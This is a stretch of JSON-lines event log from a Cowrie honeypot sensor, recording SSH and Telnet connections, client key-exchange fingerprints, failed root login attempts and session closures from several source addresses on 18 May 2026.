{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:49:8e:75:02:bd:b7:1b:68:67:d0:25:09:9f:fd:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkZFZB2axGDfumqjBGWbKWrGzzdPW8+312OkOmRpv0JgCKnaavjUFmkyZs88/hWA6R7Ws8wKOOOwyOVTVOtxlkj7wckzRotBraREXmgsqoMXG4QHiJDkllxG5iOKOqLBPSKiCS1iOdP0jDuYcrv6lfxE3we7PAk3JCpv0Z3OCc6P9tRRtaMO8wth1MEXHpiWIl426JgjfzOQi9mqMhS2aUaenspYaSBRSnT4p5JJRKnlV+5A3sRuiw8xYt42uxbCLp7KM78NCDf6mZ3F9OlfPVuT+atexwLb9ZHIXJiK0+Ro8B4boVVkVzGpBwAnkOAt4swuEF3TvAvB1hKRJnnCPSHqZKtka9mneKCScMr3Fyn0sCLo8rEIalvAeKZB6xnfv2Z8mItu56DvW2Xqob6x/5UtsmpjAKqUCOK76M96yXQEkNiMzGq6TugHW5TXCZaxUTbw4l6ESGK8dy3Bhx24WDUftrfwJdIU/pRbrqsP5YyAOQwmlE3jLxcOb0kDAdm4bzCipWbk+xiOMiq015CwKo30MQ4rjM2Da7QPIHUhiQm0cysnEG7TX9pmVDXvJYK/QzxY5wdtfWHRXccRROwfj0TvOme8V1mJOeoNtX8H1O0tdRhv71V7VQT+mo7c0NjGtR1X1Z1qp7fVkXhT9jGdw6+fF66jsbqXx8WWlJqijVQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:49:8e:75:02:bd:b7:1b:68:67:d0:25:09:9f:fd:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.318544Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:49:8e:75:02:bd:b7:1b:68:67:d0:25:09:9f:fd:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkZFZB2axGDfumqjBGWbKWrGzzdPW8+312OkOmRpv0JgCKnaavjUFmkyZs88/hWA6R7Ws8wKOOOwyOVTVOtxlkj7wckzRotBraREXmgsqoMXG4QHiJDkllxG5iOKOqLBPSKiCS1iOdP0jDuYcrv6lfxE3we7PAk3JCpv0Z3OCc6P9tRRtaMO8wth1MEXHpiWIl426JgjfzOQi9mqMhS2aUaenspYaSBRSnT4p5JJRKnlV+5A3sRuiw8xYt42uxbCLp7KM78NCDf6mZ3F9OlfPVuT+atexwLb9ZHIXJiK0+Ro8B4boVVkVzGpBwAnkOAt4swuEF3TvAvB1hKRJnnCPSHqZKtka9mneKCScMr3Fyn0sCLo8rEIalvAeKZB6xnfv2Z8mItu56DvW2Xqob6x/5UtsmpjAKqUCOK76M96yXQEkNiMzGq6TugHW5TXCZaxUTbw4l6ESGK8dy3Bhx24WDUftrfwJdIU/pRbrqsP5YyAOQwmlE3jLxcOb0kDAdm4bzCipWbk+xiOMiq015CwKo30MQ4rjM2Da7QPIHUhiQm0cysnEG7TX9pmVDXvJYK/QzxY5wdtfWHRXccRROwfj0TvOme8V1mJOeoNtX8H1O0tdRhv71V7VQT+mo7c0NjGtR1X1Z1qp7fVkXhT9jGdw6+fF66jsbqXx8WWlJqijVQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.322797Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:3c:6c:fe:5b:58:13:23:6c:a9:83:6c:c6:8c:c4:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDIjuOGG+zIxjSzWRB/ZqA9mZZkTNianaCN6a/MZ+YBXEgaHZGjCaGrqVFR06srbeJ5irgiAmc/+6p7ADHOeatJ/9XsVOrmqPL1NsiMNPP8SzBCHDOQZPWRbzFZfP9vLnZ3MiW01ir12CZsKsM9nqZ1aTVVJ+0WNFSU0FHC2/zu2JqnZphU1x9vlRDFd7EFf4qGHIuAFPCLAITza5iRV8K4ad4lbD6H0/0BaE4uUgtW7KGfYLxr9cplSnok3MTsx9GBtk1vQ6gMyts0mQFYgDr6+HTIyly1LVDmSpFYNKLuBruwbKiuiF4c/yLWnsBZ5XNz0R+hxwxxIHVi4AV+DCye8yoiOKlY7IIMggKn3S5YCLJDQSdvJSCsJUekC4f78Fh5BwVC9L4XPsaxUjM/xoz19vLW1ewIwIgtqs1uHhEsfCGBjUuci76CLEQQC55rWRcXpPnKaHJYt53/w+4xfFcjhHMyJ5vr3NsD7QgQrAu7Qqig/qoIpMfiogfCU6rJJN0eQmjAXpzBJMD6g8UUrdt9t95AhIZtGNR1wlf5eGL+qlw0w7dbnooQChb2eXS2Tqd1PHPKYFz0fN3DGIgxBEcQrC1Bu3UCgrn7R70PV3adL2yT1V//SMS3TnGFp1AuWoQhGbnbPacsrYDys2Dv+NksrVLZHqFK5dWZCQzI8uzBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:3c:6c:fe:5b:58:13:23:6c:a9:83:6c:c6:8c:c4:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.333663Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:3c:6c:fe:5b:58:13:23:6c:a9:83:6c:c6:8c:c4:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDIjuOGG+zIxjSzWRB/ZqA9mZZkTNianaCN6a/MZ+YBXEgaHZGjCaGrqVFR06srbeJ5irgiAmc/+6p7ADHOeatJ/9XsVOrmqPL1NsiMNPP8SzBCHDOQZPWRbzFZfP9vLnZ3MiW01ir12CZsKsM9nqZ1aTVVJ+0WNFSU0FHC2/zu2JqnZphU1x9vlRDFd7EFf4qGHIuAFPCLAITza5iRV8K4ad4lbD6H0/0BaE4uUgtW7KGfYLxr9cplSnok3MTsx9GBtk1vQ6gMyts0mQFYgDr6+HTIyly1LVDmSpFYNKLuBruwbKiuiF4c/yLWnsBZ5XNz0R+hxwxxIHVi4AV+DCye8yoiOKlY7IIMggKn3S5YCLJDQSdvJSCsJUekC4f78Fh5BwVC9L4XPsaxUjM/xoz19vLW1ewIwIgtqs1uHhEsfCGBjUuci76CLEQQC55rWRcXpPnKaHJYt53/w+4xfFcjhHMyJ5vr3NsD7QgQrAu7Qqig/qoIpMfiogfCU6rJJN0eQmjAXpzBJMD6g8UUrdt9t95AhIZtGNR1wlf5eGL+qlw0w7dbnooQChb2eXS2Tqd1PHPKYFz0fN3DGIgxBEcQrC1Bu3UCgrn7R70PV3adL2yT1V//SMS3TnGFp1AuWoQhGbnbPacsrYDys2Dv+NksrVLZHqFK5dWZCQzI8uzBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.337576Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:3c:db:17:1b:fe:73:b8:ac:ec:7c:60:8b:1e:b1:b8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILCdbqvvHk+Z2x2FNpgNvaEeHF9GGovtc3pQg1zIe5qr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6b:3c:db:17:1b:fe:73:b8:ac:ec:7c:60:8b:1e:b1:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.354887Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:3c:db:17:1b:fe:73:b8:ac:ec:7c:60:8b:1e:b1:b8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILCdbqvvHk+Z2x2FNpgNvaEeHF9GGovtc3pQg1zIe5qr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.358540Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.369248Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.26750302314758,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:17.261939Z","src_ip":"152.42.224.71","session":"9076e2ff9f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56850,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d74258a5616","protocol":"ssh","message":"New connection: 103.122.221.179:56850 (10.17.0.5:22) [session: 5d74258a5616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:18.345217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:18.350089Z","src_ip":"103.122.221.179","session":"5d74258a5616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:18.606030Z","src_ip":"103.122.221.179","session":"5d74258a5616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.485039710998535,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:19.151394Z","src_ip":"152.42.224.71","session":"11892fcfb83c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"09876543","message":"login attempt [root/09876543] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:19.372769Z","src_ip":"103.122.221.179","session":"5d74258a5616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:20.630775Z","src_ip":"103.122.221.179","session":"5d74258a5616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.53425765037537,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:22.694143Z","src_ip":"152.42.224.71","session":"a847f995d039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.87697720527649,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:23.273253Z","src_ip":"152.42.224.71","session":"82855c88ffbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40314745903015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:26.605776Z","src_ip":"152.42.224.71","session":"6f1f08fa2911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":54632,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e7fce7cf67","protocol":"telnet","message":"New connection: 74.208.13.194:54632 (10.17.0.5:23) [session: e0e7fce7cf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:30.969305Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":54648,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ff08f96568","protocol":"telnet","message":"New connection: 74.208.13.194:54648 (10.17.0.5:23) [session: 10ff08f96568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:31.472232Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":54654,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a0c581a76a","protocol":"telnet","message":"New connection: 74.208.13.194:54654 (10.17.0.5:23) [session: 57a0c581a76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:33.820060Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":54666,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b77570e36f6","protocol":"telnet","message":"New connection: 74.208.13.194:54666 (10.17.0.5:23) [session: 7b77570e36f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:34.307846Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":54678,"dst_ip":"10.17.0.5","dst_port":23,"session":"df0d9822b039","protocol":"telnet","message":"New connection: 74.208.13.194:54678 (10.17.0.5:23) [session: df0d9822b039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:35.102005Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":54682,"dst_ip":"10.17.0.5","dst_port":23,"session":"7934060288d4","protocol":"telnet","message":"New connection: 74.208.13.194:54682 (10.17.0.5:23) [session: 7934060288d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:36.700748Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46604,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ad88d4ed74","protocol":"telnet","message":"New connection: 74.208.13.194:46604 (10.17.0.5:23) [session: 84ad88d4ed74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:38.212954Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46616,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e73d636da81","protocol":"telnet","message":"New connection: 74.208.13.194:46616 (10.17.0.5:23) [session: 7e73d636da81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:39.337093Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46618,"dst_ip":"10.17.0.5","dst_port":23,"session":"777f4261ce31","protocol":"telnet","message":"New connection: 74.208.13.194:46618 (10.17.0.5:23) [session: 777f4261ce31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:39.710584Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46620,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b79c94fb536","protocol":"telnet","message":"New connection: 74.208.13.194:46620 (10.17.0.5:23) [session: 3b79c94fb536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:39.732341Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46634,"dst_ip":"10.17.0.5","dst_port":23,"session":"c278d527deec","protocol":"telnet","message":"New connection: 74.208.13.194:46634 (10.17.0.5:23) [session: c278d527deec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:41.062751Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46642,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5430a8fccf","protocol":"telnet","message":"New connection: 74.208.13.194:46642 (10.17.0.5:23) [session: dc5430a8fccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:41.297849Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59736,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df2f52942a6","protocol":"telnet","message":"New connection: 152.42.224.71:59736 (10.17.0.5:23) [session: 0df2f52942a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:41.545536Z"}
{"eventid":"cowrie.session.closed","duration":27.989923238754272,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:42.063776Z","src_ip":"152.42.224.71","session":"f021216690f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46660,"dst_ip":"10.17.0.5","dst_port":23,"session":"f21837119451","protocol":"telnet","message":"New connection: 74.208.13.194:46660 (10.17.0.5:23) [session: f21837119451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:43.718099Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46644,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a8329ca2bd1","protocol":"telnet","message":"New connection: 74.208.13.194:46644 (10.17.0.5:23) [session: 6a8329ca2bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:44.391077Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ce20a00e15b","protocol":"telnet","message":"New connection: 74.208.13.194:46676 (10.17.0.5:23) [session: 5ce20a00e15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:45.388376Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46680,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f7e159d698","protocol":"telnet","message":"New connection: 74.208.13.194:46680 (10.17.0.5:23) [session: 06f7e159d698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:45.652455Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46696,"dst_ip":"10.17.0.5","dst_port":23,"session":"3075773c9cd8","protocol":"telnet","message":"New connection: 74.208.13.194:46696 (10.17.0.5:23) [session: 3075773c9cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:46.204923Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ac4e295131","protocol":"telnet","message":"New connection: 74.208.13.194:47910 (10.17.0.5:23) [session: 87ac4e295131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:46.884125Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47918,"dst_ip":"10.17.0.5","dst_port":23,"session":"563401205dcc","protocol":"telnet","message":"New connection: 74.208.13.194:47918 (10.17.0.5:23) [session: 563401205dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:49.699981Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee7b093f0c44","protocol":"telnet","message":"New connection: 74.208.13.194:47920 (10.17.0.5:23) [session: ee7b093f0c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:50.394382Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47930,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e8faeae566","protocol":"telnet","message":"New connection: 74.208.13.194:47930 (10.17.0.5:23) [session: 06e8faeae566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:50.575662Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47942,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd690423791","protocol":"telnet","message":"New connection: 74.208.13.194:47942 (10.17.0.5:23) [session: 8fd690423791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:52.332342Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0cdeb882c10","protocol":"telnet","message":"New connection: 74.208.13.194:47944 (10.17.0.5:23) [session: e0cdeb882c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:52.759076Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47958,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee7ff84bafdb","protocol":"telnet","message":"New connection: 74.208.13.194:47958 (10.17.0.5:23) [session: ee7ff84bafdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:54.235247Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60666,"dst_ip":"10.17.0.5","dst_port":23,"session":"88303a86608b","protocol":"telnet","message":"New connection: 152.42.224.71:60666 (10.17.0.5:23) [session: 88303a86608b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:55.223670Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47962,"dst_ip":"10.17.0.5","dst_port":23,"session":"8805d0ac6fd9","protocol":"telnet","message":"New connection: 74.208.13.194:47962 (10.17.0.5:23) [session: 8805d0ac6fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:55.683968Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47976,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14500f71dc1","protocol":"telnet","message":"New connection: 74.208.13.194:47976 (10.17.0.5:23) [session: c14500f71dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.063764Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.52.145","src_port":51726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a637821e0f9","protocol":"ssh","message":"New connection: 198.98.52.145:51726 (10.17.0.5:22) [session: 8a637821e0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.075114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.083733Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.097733Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
